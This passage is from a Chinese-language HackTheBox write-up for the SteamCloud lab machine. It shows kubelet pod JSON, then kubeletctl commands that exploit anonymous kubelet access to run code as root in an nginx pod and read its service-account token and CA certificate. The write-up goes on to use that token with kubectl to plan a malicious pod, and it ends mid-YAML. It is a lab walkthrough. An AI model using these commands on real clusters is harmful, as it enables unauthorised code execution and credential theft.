.gcr.io/etcd:3.5.0-0","command":["etcd","--advertise-client-urls=https://10.10.11.133:2379","--cert-file=/var/lib/minikube/certs/etcd/server.crt","--client-cert-auth=true","--data-dir=/var/lib/minikube/etcd","--initial-advertise-peer-urls=https://10.10.11.133:2380","--initial-cluster=steamcloud=https://10.10.11.133:2380","--key-file=/var/lib/minikube/certs/etcd/server.key","--listen-client-urls=https://127.0.0.1:2379,https://10.10.11.133:2379","--listen-metrics-urls=http://127.0.0.1:2381","--listen-peer-urls=https://10.10.11.133:2380","--name=steamcloud","--peer-cert-file=/var/lib/minikube/certs/etcd/peer.crt","--peer-client-cert-auth=true","--peer-key-file=/var/lib/minikube/certs/etcd/peer.key","--peer-trusted-ca-file=/var/lib/minikube/certs/etcd/ca.crt","--proxy-refresh-interval=70000","--snapshot-count=10000","--trusted-ca-file=/var/lib/minikube/certs/etcd/ca.crt"],"resources":{"requests":{"cpu":"100m","memory":"100Mi"}},"volumeMounts":[{"name":"etcd-data","mountPath":"/var/lib/minikube/etcd"},{"name":"etcd-certs","mountPath":"/var/lib/minikube/certs/etcd"}],"livenessProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"startupProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:45Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:55Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:55Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:45Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2023-07-28T04:18:45Z","containerStatuses":[{"name":"etcd","state":{"running":{"startedAt":"2023-07-28T04:18:28Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/etcd:3.5.0-0","imageID":"docker-pullable://k8s.gcr.io/etcd@sha256:9ce33ba33d8e738a5b85ed50b5080ac746deceed4a7496c550927a7a19ca3b6d","containerID":"docker://dd88f1406e55458166e2d22e21344d1b5109e4229e3f2dea0f6fb14c78d2f41b","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-apiserver-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-steamcloud","uid":"c1926d0465cd9de10197b95a2c359105","creationTimestamp":null,"labels":{"component":"kube-apiserver","tier":"control-plane"},"annotations":{"kubeadm.kubernetes.io/kube-apiserver.advertise-address.endpoint":"10.10.11.133:8443","kubernetes.io/config.hash":"c1926d0465cd9de10197b95a2c359105","kubernetes.io/config.seen":"2023-07-28T00:18:48.449498117-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/var/lib/minikube/certs","type":"DirectoryOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-apiserver","image":"k8s.gcr.io/kube-apiserver:v1.22.3","command":["kube-apiserver","--advertise-address=10.10.11.133","--allow-privileged=true","--authorization-mode=Node,RBAC","--client-ca-file=/var/lib/minikube/certs/ca.crt","--enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota","--enable-bootstrap-token-auth=true","--etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt","--etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt","--etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key","--etcd-servers=https://127.0.0.1:2379","--kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt","--kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key","--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname","--proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt","--proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key","--requestheader-allowed-names=front-proxy-client","--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt","--requestheader-extra-headers-prefix=X-Remote-Extra-","--requestheader-group-headers=X-Remote-Group","--requestheader-username-headers=X-Remote-User","--secure-port=8443","--service-account-issuer=https://kubernetes.default.svc.cluster.local","--service-account-key-file=/var/lib/minikube/certs/sa.pub","--service-account-signing-key-file=/var/lib/minikube/certs/sa.key","--service-cluster-ip-range=10.96.0.0/12","--tls-cert-file=/var/lib/minikube/certs/apiserver.crt","--tls-private-key-file=/var/lib/minikube/certs/apiserver.key"],"resources":{"requests":{"cpu":"250m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"k8s-certs","readOnly":true,"mountPath":"/var/lib/minikube/certs"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/livez","port":8443,"host":"10.10.11.133","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"readinessProbe":{"httpGet":{"path":"/readyz","port":8443,"host":"10.10.11.133","scheme":"HTTPS"},"timeoutSeconds":15,"periodSeconds":1,"successThreshold":1,"failureThreshold":3},"startupProbe":{"httpGet":{"path":"/livez","port":8443,"host":"10.10.11.133","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:49Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:58Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:58Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:49Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2023-07-28T04:18:49Z","containerStatuses":[{"name":"kube-apiserver","state":{"running":{"startedAt":"2023-07-28T04:18:28Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/kube-apiserver:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-apiserver@sha256:6ee1c59e9c1fb570e7958e267a6993988eaa22448beb70d99de7afb21e862e9d","containerID":"docker://eee75fa23d12157c92672f32e445bc1b70ff2d30153867f8d9b74b0fa90a0efd","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2023-07-28T00:18:48.449499680-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/var/lib/minikube/certs","type":"DirectoryOrCreate"}},{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/controller-manager.conf","type":"FileOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-controller-manager","image":"k8s.gcr.io/kube-controller-manager:v1.22.3","command":["kube-controller-manager","--allocate-node-cidrs=true","--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf","--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf","--bind-address=127.0.0.1","--client-ca-file=/var/lib/minikube/certs/ca.crt","--cluster-cidr=10.244.0.0/16","--cluster-name=mk","--cluster-signing-cert-file=/var/lib/minikube/certs/ca.crt","--cluster-signing-key-file=/var/lib/minikube/certs/ca.key","--controllers=*,bootstrapsigner,tokencleaner","--kubeconfig=/etc/kubernetes/controller-manager.conf","--leader-elect=false","--port=0","--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt","--root-ca-file=/var/lib/minikube/certs/ca.crt","--service-account-private-key-file=/var/lib/minikube/certs/sa.key","--service-cluster-ip-range=10.96.0.0/12","--use-service-account-credentials=true"],"resources":{"requests":{"cpu":"200m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"flexvolume-dir","mountPath":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec"},{"name":"k8s-certs","readOnly":true,"mountPath":"/var/lib/minikube/certs"},{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/controller-manager.conf"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10257,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"startupProbe":{"httpGet":{"path":"/healthz","port":10257,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:45Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:59Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:59Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:45Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2023-07-28T04:18:45Z","containerStatuses":[{"name":"kube-controller-manager","state":{"running":{"startedAt":"2023-07-28T04:18:28Z"}},"lastState":{},"ready":true,"restartCount":23,"image":"k8s.gcr.io/kube-controller-manager:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-controller-manager@sha256:e67dbfd3796b7ce04fee80acb52876928c290224a91862c5849c3ab0fa31ca78","containerID":"docker://de898ce0de961159e85a27cd635c42aec88ec3efbe11fabe41d09eb0cfa67182","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-scheduler-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-steamcloud","uid":"3232b72c69e9f8bf518a7d727d878b27","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"3232b72c69e9f8bf518a7d727d878b27","kubernetes.io/config.seen":"2023-07-28T00:18:48.449500842-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/scheduler.conf","type":"FileOrCreate"}}],"containers":[{"name":"kube-scheduler","image":"k8s.gcr.io/kube-scheduler:v1.22.3","command":["kube-scheduler","--authentication-kubeconfig=/etc/kubernetes/scheduler.conf","--authorization-kubeconfig=/etc/kubernetes/scheduler.conf","--bind-address=127.0.0.1","--kubeconfig=/etc/kubernetes/scheduler.conf","--leader-elect=false","--port=0"],"resources":{"requests":{"cpu":"100m"}},"volumeMounts":[{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/scheduler.conf"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10259,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"startupProbe":{"httpGet":{"path":"/healthz","port":10259,"host":"127.0.0.1","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:49Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:53Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:53Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2023-07-28T04:18:49Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2023-07-28T04:18:49Z","containerStatuses":[{"name":"kube-scheduler","state":{"running":{"startedAt":"2023-07-28T04:18:28Z"}},"lastState":{},"ready":true,"restartCount":22,"image":"k8s.gcr.io/kube-scheduler:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-scheduler@sha256:cac7ea67201a84c00f3e8d9be51877c25fb539055ac404c4a9d2dd4c79d3fdab","containerID":"docker://72716857764f65176f4b660b460ad5ace81ce8ad795ceeb23d8c5b69d446de2a","started":true}],"qosClass":"Burstable"}}]}

HTB-SteamCloud笔记

我们能够从k8s集群中提取所有的pod。尽管该服务有几个未记录的API,但我们可以使用kubeletctl与它进行接口,并发现进入pod的方法。让我们下载并安装kubeletctl二进制文件

https://github.com/cyberark/kubeletctl

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64chmod a+x ./kubeletctl_linux_amd64mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
# kubeletctl --server 10.10.11.133 pods ┌───────────────────────────────────────────────────────────────────────────────────┐│                                 Pods from Kubelet                                 │├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤│   │ POD                                │ NAMESPACE   │ CONTAINERS              │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤1 │ kube-proxy-tf5vv                   │ kube-system │ kube-proxy              ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤2 │ coredns-78fcd69978-tvz4v           │ kube-system │ coredns                 ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤3 │ nginx                              │ default     │ nginx                   ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤4 │ etcd-steamcloud                    │ kube-system │ etcd                    ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤5 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤6 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤7 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          ││   │                                    │             │                         │├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤8 │ storage-provisioner                │ kube-system │ storage-provisioner     ││   │                                    │             │                         │└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

HTB-SteamCloud笔记

成功返回所有pod的列表,我们已经知道Nginx只存在于默认的命名空间中,并且不是一个与Kubernetes相关的pod。因为Kubelet允许匿名访问,我们可以使用命令/run、/exec和/cri,但Curl不起作用,因为它只允许web套接字连接。我们可以在中使用scan-rce命令

Kubeletctl来确定我们是否可以在任何pod上运行命令

# kubeletctl --server 10.10.11.133 scan rce┌──────────────────────────────────────────────────────────────────────────────────────────────────────────┐│                                     Node with pods vulnerable to RCE                                     │├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤│   │ NODE IP      │ PODS                               │ NAMESPACE   │ CONTAINERS              │ RCE │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤│   │              │                                    │             │                         │ RUN │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤110.10.11.133 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │ -   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤2 │              │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ -   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤3 │              │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │ -   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤4 │              │ storage-provisioner                │ kube-systemstorage-provisioner     │ -   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤5 │              │ kube-proxy-tf5vv                   │ kube-system │ kube-proxy              │ +   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤6 │              │ coredns-78fcd69978-tvz4v           │ kube-system │ coredns                 │ -   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤7 │              │ nginx                              │ default     │ nginx                   │ +   │├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤8 │              │ etcd-steamcloud                    │ kube-system │ etcd                    │ -   │└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘

HTB-SteamCloud笔记

结果表明,命令可以在Nginx pod上执行。让我们看看是否可以在Nginx中运行id

# kubeletctl --server 10.10.11.133 exec "id" -p nginx -c nginxuid=0(root) gid=0(root) groups=0(root)

HTB-SteamCloud笔记

命令执行成功,但是这个pod上似乎没有用户标志,现在我们已经成功地在Nginx pod中执行了一个命令,我们看看是否可以访问令牌和证书,这样我们就可以创建一个具有更高权限的服务帐户

# kubeletctl --server 10.10.11.133  exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginxeyJhbGciOiJSUzI1NiIsImtpZCI6InNtVEpuSVFIMFRLS1pKOUZDc0tmWXZqNDNPUWRRa1F3VWU1YlZDZ1JENHcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzIyMTUzMTIxLCJpYXQiOjE2OTA2MTcxMjEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImQ2MTYyNjBmLTgwZGItNDZiZC1iYmVjLTJjNjU3YzA2YTNkZCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjE3OTU0MjQ2LTBkYTEtNDJhMy04NWFmLWQ4ZGJiNWRmMTU3MSJ9LCJ3YXJuYWZ0ZXIiOjE2OTA2MjA3Mjh9LCJuYmYiOjE2OTA2MTcxMjEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.An1YzwGZcldbz9Dfhq2kLQJyupwmOxsuQOBt3kLv7L253_9dMqgtSmmEa4hEYwC-awk0IzwnhIFNi85QQ8erj-McRI-4wTyd5T2DjLalPY6cFNeztWSOBNF4q7YkbsxAat4iZjYx2VjTzYFsmcRof_Rvx3nQTEU8_bpCLKOPUho15T9RmohGdmVG9mjt5hnIhwJe9sjIdIvAczSBnZ0EiU9i7XVP3t4Qr5TNEME6kmheTIkXhbtSk9frs06AymDr3h06fjWnMAVY3b9h0oAa-HzGAPdIGP2AAvReUkcqHNrjUXtDL7M-JLJL1QBv8wOOFqztZzHka8B36pPetbSEAg                                                                                                                                                                                                              ┌──(root㉿uu)-[/home/uu/SteamCloud]└─# kubeletctl --server 10.10.11.133  exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx-----BEGIN CERTIFICATE-----MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5pa3ViZUNBMB4XDTIxMTEyOTEyMTY1NVoXDTMxMTEyODEyMTY1NVowFTETMBEGA1UEAxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoaYRSqoSUfHaMBK44xXLLuFXNELhJrC/9O0R2Gpt8DuBNIW5ve+mgNxbOLTofhgQ0MHLPTTxnfZ5VaavDH2GHiFrtfUWD/g7HA8aXn7cOCNxdf1k7M0X0QjPRB3Ug2cID7deqATtnjZaXTk0VUyUp5Tq3vmwhVkPXDtROc7QaTR/AUeR1oxO9+mPo3ry6S2xqGVeeRhpK6Ma3FpJB3oN0Kz5e6areAOpBP5cVFd68/Np3aecCLrxf2Qdz/d9BpisllhnRBjBwFDdzQVeIJRKhSAhczDbKP64bNi2K1ZU95k5YkodSgXyZmmkfgYORyg99o1pRrbLrfNk6DE5S9VSUCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSpRKCEKbVtRsYEGRwyaVeonBdMCjANBgkqhkiG9w0BAQsFAAOCAQEA0jqg5pUmlt1jIeLkYT1E6C5xykW0X8mOWzmok17rSMA2GYISqdbRcw72aocvdGJ2Z78X/HyODGSCkKaFqJ9+tvt1tRCZZS3hiI+sp4Tru5FttsGy1bV5sa+w/+2mJJzTjBElMJ/+9mGEdIpuHqZ15HHYeZ83SQWcj0H0lZGpSriHbfxAIlgRvtYBfnciP6Wgcy+YuU/DxpCJgRAw0IUgK74EdYNZAkrWuSOA0Ua8KiKuhklyZv38Jib3FvAo4JrBXlSjW/R0JWSyodQkEF60Xh7yd2lRFhtyE8J+h1HeTz4FpDJ7MuvfXfoXxSDQOYNQu09iFiMzkf2eZIBNMp0TFg==-----END CERTIFICATE-----

HTB-SteamCloud笔记

成功获取访问令牌和证书,我们可以使用这些来登录Kuectl并检查我们拥有什么样的权限。将证书保存在名为ca.crt的文件中,并将令牌导出为环境变量。

export token="eyJhbGciOiJSUzI1NiIsImtpZCI6InNtVEpuSVFIMFRLS1pKOUZDc0tmWXZqNDNPUWRRa1F3VWU1YlZDZ1JENHcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzIyMTUzMTIxLCJpYXQiOjE2OTA2MTcxMjEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6ImQ2MTYyNjBmLTgwZGItNDZiZC1iYmVjLTJjNjU3YzA2YTNkZCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjE3OTU0MjQ2LTBkYTEtNDJhMy04NWFmLWQ4ZGJiNWRmMTU3MSJ9LCJ3YXJuYWZ0ZXIiOjE2OTA2MjA3Mjh9LCJuYmYiOjE2OTA2MTcxMjEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.An1YzwGZcldbz9Dfhq2kLQJyupwmOxsuQOBt3kLv7L253_9dMqgtSmmEa4hEYwC-awk0IzwnhIFNi85QQ8erj-McRI-4wTyd5T2DjLalPY6cFNeztWSOBNF4q7YkbsxAat4iZjYx2VjTzYFsmcRof_Rvx3nQTEU8_bpCLKOPUho15T9RmohGdmVG9mjt5hnIhwJe9sjIdIvAczSBnZ0EiU9i7XVP3t4Qr5TNEME6kmheTIkXhbtSk9frs06AymDr3h06fjWnMAVY3b9h0oAa-HzGAPdIGP2AAvReUkcqHNrjUXtDL7M-JLJL1QBv8wOOFqztZzHka8B36pPetbSEAg"

HTB-SteamCloud笔记

然后运行以下命令以获取pod列表

# kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 get podsNAME    READY   STATUS    RESTARTS   AGEnginx   1/1     Running   0          28h

HTB-SteamCloud笔记

默认服务帐户似乎具有一些基本权限,因此让我们使用auth-can-i列出所有权限

# kubectl --token=$token --certificate-authority=ca.crt --server=https://10.10.11.133:8443 auth can-i --listResources                                       Non-Resource URLs                     Resource Names   Verbsselfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]pods                                            []                                    []               [get create list]                                                [/.well-known/openid-configuration]   []               [get]                                                [/api/*]                              []               [get]                                                [/api]                                []               [get]                                                [/apis/*]                             []               [get]                                                [/apis]                               []               [get]                                                [/healthz]                            []               [get]                                                [/healthz]                            []               [get]                                                [/livez]                              []               [get]                                                [/livez]                              []               [get]                                                [/openapi/*]                          []               [get]                                                [/openapi]                            []               [get]                                                [/openid/v1/jwks]                     []               [get]                                                [/readyz]                             []               [get]                                                [/readyz]                             []               [get]                                                [/version/]                           []               [get]                                                [/version/]                           []               [get]                                                [/version]                            []               [get]                                                [/version]                            []               [get]

HTB-SteamCloud笔记

我们可以在默认名称空间中获取、列出和创建一个pod。为了制作一个吊pod,我们可以使用Nginx图像。我们制作一个Nefarious pod。将以下YAML配置保存在名为f.YAML的文件中

# kubectl get pod nginx -o yaml --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$tokenapiVersion: v1kind: Podmetadata:  annotations:    kubectl.kubernetes.io/last-applied-configuration: |      {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"nginx","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","imagePullPolicy":"Never","name":"nginx","volumeMounts":[{"mountPath":"/root","name":"flag"}]}],"volumes":[{"hostPath":{"path":"/opt/flag"},"name":"flag"}]}}  creationTimestamp: "2023-07-28T04:19:01Z"  managedFields:  - apiVersion: v1    fieldsType: FieldsV1    fieldsV1:      f:metadata:        f:annotations:          .: {}          f:kubectl.kubernetes.io/last-applied-configuration: {}      f:spec:        f:containers:          k:{"name":"nginx"}:            .: {}            f:image: {}            f:imagePullPolicy: {}            f:name: {}            f:resources: {}            f:terminationMessagePath: {}            f:terminationMessagePolicy: {}            f:volumeMounts:              .: {}              k:{"mountPath":"/root"}:                .: {}                f:mountPath: {}                f:name: {}        f:dnsPolicy: {}        f:enableServiceLinks: {}        f:restartPolicy: {}        f:schedulerName: {}        f:securityContext: {}        f:terminationGracePeriodSeconds: {}        f:volumes:          .: {}          k:{"name":"flag"}:            .: 